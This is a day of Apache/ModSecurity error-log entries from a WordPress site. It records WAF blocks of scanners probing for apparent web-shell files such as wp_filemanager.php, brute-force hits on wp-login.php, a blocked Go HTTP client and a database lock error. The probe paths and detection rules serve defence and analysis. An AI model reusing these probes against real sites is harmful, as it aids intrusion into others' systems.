[Tue Mar 03 00:02:50.341892 2026] [:error] [pid 59600:tid 59613] [client 20.104.86.139:4103] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaW0qoQ5lE4yocV9IBe_SQAAAAQ"]
[Tue Mar 03 00:02:51.191470 2026] [:error] [pid 59600:tid 59609] [client 20.104.86.139:39002] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaW0q4Q5lE4yocV9IBe_TwAAAAA"]
[Tue Mar 03 00:02:52.040263 2026] [:error] [pid 59600:tid 59614] [client 20.104.86.139:38998] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaW0rIQ5lE4yocV9IBe_WgAAAAU"]
[Tue Mar 03 00:02:52.877963 2026] [:error] [pid 59602:tid 59684] [client 20.104.86.139:4127] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaW0rDMtSo_Fr0lHnSaulgAAAJM"]
[Tue Mar 03 00:58:37.622532 2026] [:error] [pid 18558:tid 18859] [client 170.106.180.153:55728] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaXBvbO1kQHjTOLioCm4AQAAAIU"]
[Tue Mar 03 01:57:03.474310 2026] [:error] [pid 18960:tid 18980] [client 20.151.217.152:50549] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXPb9Cu09icM9oIHwDyqwAAANE"]
[Tue Mar 03 01:57:03.885698 2026] [:error] [pid 60214:tid 60239] [client 20.151.217.152:50533] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXPb4muQ_v4S3RkLisYuAAAARc"]
[Tue Mar 03 01:57:04.296647 2026] [:error] [pid 60214:tid 60216] [client 20.151.217.152:50435] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXPcImuQ_v4S3RkLisYugAAAQA"]
[Tue Mar 03 02:10:10.443687 2026] [:error] [pid 60214:tid 60221] [client 43.130.12.43:37604] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaXSgomuQ_v4S3RkLiskoAAAAQU"]
[Tue Mar 03 02:16:57.889292 2026] [:error] [pid 60214:tid 60232] [client 203.86.122.1:47332] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaXUGYmuQ_v4S3RkLisrWAAAARA"]
[Tue Mar 03 02:17:02.479287 2026] [:error] [pid 60214:tid 60239] [client 203.86.122.1:47332] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaXUHomuQ_v4S3RkLisrbQAAARc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 02:42:04.647738 2026] [:error] [pid 60214:tid 60227] [client 192.99.147.218:33716] [client 192.99.147.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.147.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaXZ_ImuQ_v4S3RkLitCLQAAAQs"]
[Tue Mar 03 02:42:06.662766 2026] [:error] [pid 60214:tid 60239] [client 192.99.147.218:33716] [client 192.99.147.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.147.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaXZ_omuQ_v4S3RkLitCMgAAARc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 03:29:16.602882 2026] [:error] [pid 36783:tid 36809] [client 104.28.214.113:17156] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aaXlDD4tNYh5NtLaTXfc8wAAAA8"]
[Tue Mar 03 03:29:20.052681 2026] [:error] [pid 36783:tid 36803] [client 104.28.214.113:63617] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aaXlED4tNYh5NtLaTXfc9wAAAAk"]
[Tue Mar 03 03:29:21.503299 2026] [:error] [pid 36783:tid 36802] [client 104.28.214.113:63619] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "aaXlET4tNYh5NtLaTXfc-AAAAAg"]
[Tue Mar 03 04:53:34.871671 2026] [:error] [pid 36783:tid 36815] [client 203.86.122.1:48192] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaX4zj4tNYh5NtLaTXfx1QAAABU"]
[Tue Mar 03 06:41:48.811953 2026] [:error] [pid 26186:tid 26203] [client 192.99.147.218:57220] [client 192.99.147.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.147.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYSLPbZCNtk8wDak9etKgAAAU8"]
[Tue Mar 03 06:41:50.893950 2026] [:error] [pid 26186:tid 26201] [client 192.99.147.218:57220] [client 192.99.147.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.147.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYSLvbZCNtk8wDak9etOQAAAU0"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 06:43:25.208755 2026] [:error] [pid 36785:tid 36858] [client 103.95.119.123:44748] [client 103.95.119.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.95.119.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYSjXhJejauENG9qTiYzgAAAIg"]
[Tue Mar 03 06:43:31.910635 2026] [:error] [pid 36785:tid 36873] [client 103.95.119.123:44748] [client 103.95.119.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.95.119.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYSk3hJejauENG9qTiY3AAAAJc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 06:49:22.376795 2026] [:error] [pid 36897:tid 36907] [client 203.86.122.1:57790] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYT8iZC69_8eM0Uouvr_AAAAMU"]
[Tue Mar 03 06:49:26.584078 2026] [:error] [pid 36897:tid 36920] [client 203.86.122.1:57790] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYT9iZC69_8eM0Uouvr_wAAANI"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 06:56:50.221070 2026] [:error] [pid 36897:tid 36923] [client 49.51.183.84:54910] [client 49.51.183.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaYVsiZC69_8eM0UouvtmwAAANU"]
[Tue Mar 03 07:42:00.259296 2026] [:error] [pid 20872:tid 20879] [client 92.205.182.143:51472] [client 92.205.182.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.182.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYgSIlYbNk3E_3CgBig2gAAAQU"]
[Tue Mar 03 07:42:02.601937 2026] [:error] [pid 20872:tid 20898] [client 92.205.182.143:51472] [client 92.205.182.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.182.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYgSolYbNk3E_3CgBig3QAAARg"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 07:44:10.179106 2026] [:error] [pid 36784:tid 36826] [client 46.101.217.74:47400] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYgynNeKOSGbW9kDgTkAwAAAEM"]
[Tue Mar 03 07:44:12.127646 2026] [:error] [pid 36784:tid 36834] [client 46.101.217.74:47400] [client 46.101.217.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.217.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYgzHNeKOSGbW9kDgTkBAAAAEs"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 08:01:16.215802 2026] [proxy_fcgi:error] [pid 36897:tid 36924] [client 103.4.122.13:33064] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2:{s:7:\\"timeout\\";i:1772539273;s:5:\\"value\\";s:252085:\\"{\\"stable_version\\":\\"3.35.1\\",\\"last_updated\\":\\"2026-02-11 10:26:59\\",\\"sections\\":\\"a:2:{s:11:\\\\\\"description\\\\\\";s:161:\\\\\\"Elementor Pro adds new features to the Elementor Page Builder plugin. Control your conversions, your user engagement, your entire website, from one page builder.\\\\\\";s:9:\\\\\\"changelog\\\\\\";s:235958:\\\\\\"<h2>Elementor Pro - by Elementor.com<\\\\/h2>\\\\n<h4>3.35.1 - 2026-02-11<\\\\/h4>\\\\n<ul>\\\\n<li>Fix: Enqueue script errors when <code>WP_DEBUG<\\\\/code> is enabled (<a href=\\\\\\"https:\\\\/\\\\/github.com\\\\/elementor\\\\/elementor\\\\/issues\\\\/34617\\\\\\">#34617<\\\\/a>)<\\\\/li>\\\\n<li>Fix: General UI issues in Editor screens in WordPress Admin<\\\\/li>\\\\n<\\\\/ul>\\\\n<h4>3.35.0 - 2026-02-02<\\\\/h4>\\\\n<ul>\\\\n<li>Tweak: Extended the color picker to support ACF fields - Editor V4<\\\\/li>\\\\n<li>Tweak: Enable...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'O:8:\\"stdClass\\":5:{s:12:\\"last_checked\\";i:1772496073;s:8:\\"response\\";a:0:{}s:12:\\"translations\\";a:0:{}s:9:\\"no_update\\";a:12:{s:32:\\"duplicate-page/duplicatepage.php\\";O:8:\\"stdClass\\":10:{s:2:\\"id\\";s:28:\\"w.org/plugins/duplicate-page\\";s:4:\\"slug\\";s:14:\\"duplicate-page\\";s:6:\\"plugin\\";s:32:\\"duplicate-page/duplicatepage.php\\";s:11:\\"new_version\\";s:5:\\"4.5.6\\";s:3:\\"url\\";s:45:\\"https://wordpress.org/plugins/duplicate-page/\\";s:7:\\"package\\";s:57:\\"https://downloads.wordpress.org/plugin/duplicate-page.zip\\";s:5:\\"icons\\";a:1:{s:2:\\"1x\\";s:67:\\"https://ps.w.org/duplicate-page/assets/icon-128x128.jpg?rev=1412874\\";}s:7:\\"banners\\";a:1:{s:2:\\"1x\\";s:69:\\"https://ps.w.org/duplicate-page/assets/banner-772x250.jpg?rev=1410328\\";}s:11:\\"banners_rtl\\";a:0:{}s:8:\\"requires\\";s:3:\\"3.4\\";}s:23:\\"elementor/elementor.php\\";O:8:\\"stdClass\\":10:{s:2:\\"id\\";s:23:...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'O:8:\\"stdClass\\":5:{s:12:\\"last_checked\\";i:1772496074;s:8:\\"response\\";a:0:{}s:12:\\"translations\\";a:0:{}s:9:\\"no_update\\";a:13:{s:32:\\"duplicate-page/duplicatepage.php\\";O:8:\\"stdClass\\":10:{s:2:\\"id\\";s:28:\\"w.org/plugins/duplicate-page\\";s:4:\\"slug\\";s:14:\\"duplicate-page\\";s:6:\\"plugin\\";s:32:\\"duplicate-page/duplicatepage.php\\";s:11:\\"new_version\\";s:5:\\"4.5.6\\";s:3:\\"url\\";s:45:\\"https://wordpress.org/plugins/duplicate-page/\\";s:7:\\"package\\";s:57:\\"https://downloads.wordpress.org/plugin/duplicate-page.zip\\";s:5:\\"icons\\";a:1:{s:2:\\"1x\\";s:67:\\"https://ps.w.org/duplicate-page/assets/icon-128x128.jpg?rev=1412874\\";}s:7:\\"banners\\";a:1:{s:2:\\"1x\\";s:69:\\"https://ps.w.org/duplicate-page/assets/banner-772x250.jpg?rev=1410328\\";}s:11:\\"banners_rtl\\";a:0:{}s:8:\\"requires\\";s:3:\\"3.4\\";}s:23:\\"elementor/elementor.php\\";O:8:\\"stdClass\\":10:{s:2:\\"id\\";s:23:...'
[Tue Mar 03 08:51:35.892669 2026] [:error] [pid 14042:tid 14056] [client 103.138.189.156:59488] [client 103.138.189.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.138.189.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYwl2eHGCmSEiIBcK5nfQAAAYw"]
[Tue Mar 03 08:51:38.827352 2026] [:error] [pid 14042:tid 14050] [client 103.138.189.156:59488] [client 103.138.189.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.138.189.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaYwmmeHGCmSEiIBcK5nhgAAAYY"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 09:53:02.368101 2026] [:error] [pid 14042:tid 14050] [client 203.86.122.1:41140] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaY-_meHGCmSEiIBcK6SmQAAAYY"]
[Tue Mar 03 09:57:35.534373 2026] [:error] [pid 14042:tid 14051] [client 103.95.119.123:35758] [client 103.95.119.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.95.119.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZAD2eHGCmSEiIBcK6WkAAAAYc"]
[Tue Mar 03 09:57:37.401868 2026] [:error] [pid 14042:tid 14048] [client 103.95.119.123:35758] [client 103.95.119.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.95.119.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZAEWeHGCmSEiIBcK6WlAAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 10:36:37.143366 2026] [:error] [pid 36784:tid 36826] [client 20.220.227.4:15250] [client 20.220.227.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaZJNXNeKOSGbW9kDgQA8wAAAEM"]
[Tue Mar 03 10:36:44.748734 2026] [:error] [pid 20872:tid 20885] [client 20.220.227.4:15344] [client 20.220.227.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaZJPIlYbNk3E_3CgBjfzgAAAQs"]
[Tue Mar 03 11:09:20.833105 2026] [:error] [pid 26186:tid 26211] [client 50.6.204.51:39372] [client 50.6.204.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.204.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZQ4PbZCNtk8wDak9dTEwAAAVc"]
[Tue Mar 03 11:19:43.594284 2026] [:error] [pid 20872:tid 20889] [client 163.47.203.79:35294] [client 163.47.203.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.47.203.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZTT4lYbNk3E_3CgBjvkwAAAQ8"]
[Tue Mar 03 11:19:45.520062 2026] [:error] [pid 20872:tid 20874] [client 163.47.203.79:35294] [client 163.47.203.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.47.203.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZTUYlYbNk3E_3CgBjvlAAAAQA"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 11:56:12.656921 2026] [:error] [pid 20872:tid 20893] [client 103.69.196.26:33910] [client 103.69.196.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.69.196.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZb3IlYbNk3E_3CgBj_LwAAARM"]
[Tue Mar 03 12:06:18.194743 2026] [:error] [pid 36897:tid 36922] [client 162.0.216.102:38542] [client 162.0.216.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.216.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZeOiZC69_8eM0UoutJTQAAANQ"]
[Tue Mar 03 12:06:20.098916 2026] [:error] [pid 36897:tid 36909] [client 162.0.216.102:38542] [client 162.0.216.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.216.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZePCZC69_8eM0UoutJWAAAAMc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 12:49:33.568159 2026] [:error] [pid 36783:tid 36818] [client 43.133.69.37:50784] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaZoXT4tNYh5NtLaTXc_5QAAABg"]
[Tue Mar 03 12:57:15.641479 2026] [:error] [pid 36897:tid 36926] [client 74.208.250.249:47796] [client 74.208.250.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.250.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZqKyZC69_8eM0UoutmqAAAANg"]
[Tue Mar 03 12:57:18.117316 2026] [:error] [pid 36897:tid 36910] [client 74.208.250.249:47796] [client 74.208.250.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.250.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZqLiZC69_8eM0UoutmsAAAAMg"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 03 13:06:28.970844 2026] [:error] [pid 36784:tid 36827] [client 134.122.63.148:57295] [client 134.122.63.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.63.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZsVHNeKOSGbW9kDgQsKgAAAEQ"]
[Tue Mar 03 13:06:31.349506 2026] [:error] [pid 36897:tid 36919] [client 134.122.63.148:60511] [client 134.122.63.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.63.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaZsVyZC69_8eM0UouttFQAAANE"]
[Tue Mar 03 13:22:29.349197 2026] [:error] [pid 36897:tid 36905] [client 36.67.165.162:51416] [client 36.67.165.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.67.165.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaZwFSZC69_8eM0Uout8WgAAAMM"]
